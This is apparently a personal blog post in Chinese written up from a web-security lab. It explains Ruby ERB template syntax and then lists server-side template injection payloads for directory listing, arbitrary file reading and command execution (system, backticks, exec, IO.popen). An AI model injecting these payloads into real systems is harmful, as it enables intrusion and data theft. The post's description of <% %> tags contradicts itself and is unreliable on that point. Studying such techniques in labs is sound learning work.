ERB的SSTI技巧

EBR SSTI

上来第一个lab就是之前没听说过的类型,嘻嘻


查看第一个商品细节回复的字是url里提取的,打了个${7*7},原样输出,看题目知道是ERB


ERB (Embedded Ruby)

ERB 的全称是 Embedded Ruby,在文本中嵌入Ruby代码

ERB 的基本语法:标签

ERB 通过特定的标签来区分 Ruby 代码和普通文本。这些标签使用 <%%> 作为分隔符。

主要有两种标签:

  1. 执行标签(Execution Tags): <% ... %>

    • 作用: 只执行其中的 Ruby 代码,但将结果输出到最终文本中。
    • 用途: 主要用于逻辑控制,如条件判断、循环、变量赋值等。
    • 示例
      1
      2
      3
      4
      5
      6
      7
      8
      
      <% # 这只是一个注释,不会输出 %>
      <% current_time = Time.now %> <% # 赋值操作,无输出 %>
      <% if user.logged_in? %>        <% # if 条件判断的开始 %>
        <p>Welcome back!</p>
      <% end %>                       <% # if 的结束 %>
      <% [1, 2, 3].each do |number| %> <% # 循环的开始 %>
        <p>Number: <%= number %></p>
      <% end %>                       <% # 循环的结束 %>
      
  2. 输出标签(Output Tags): <%= ... %>

    • 作用: 执行其中的 Ruby 代码,并将结果输出到模板中。注意,如果结果是 nil,则会输出空字符串。
    • 用途: 输出变量、调用方法返回值等一切需要展示在最终文本中的内容。
    • 示例
      1
      2
      3
      
      <h1>Welcome, <%= user.name %></h1>  <% # 输出用户名字 %>
      <p>The time is <%= current_time %></p> <% # 输出时间变量 %>
      <p>Result: <%= 2 * 2 %></p>         <% # 输出 4 %>
      

非常重要的注意点:混淆 <%<%= 是初学者最常见的错误。

  • <% 来输出内容会导致内容丢失。
  • <%= 来执行逻辑(如循环)通常会报错,因为它会尝试输出一个可能不期望输出的值(如 nil 或一个数组对象)。

CTF 应用

虽然说很多但用发也简单,因为有ruby环境,所以自带了很多可以直接用的模块,也不用像其他ssti一样到处找了

文件读取

  1. <%= Dir.entries(’/’) %>

  2. <%= File.open(’/example/arbitrary-file’).read %>

命令执行

  1. <%= system(’ls’)%>

  2. <%= `ls`%>

  3. <%= exec(’ls’)%>

  4. <%= IO.popen(‘ls’).read%>

Licensed under CC BY-NC-SA 4.0
你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计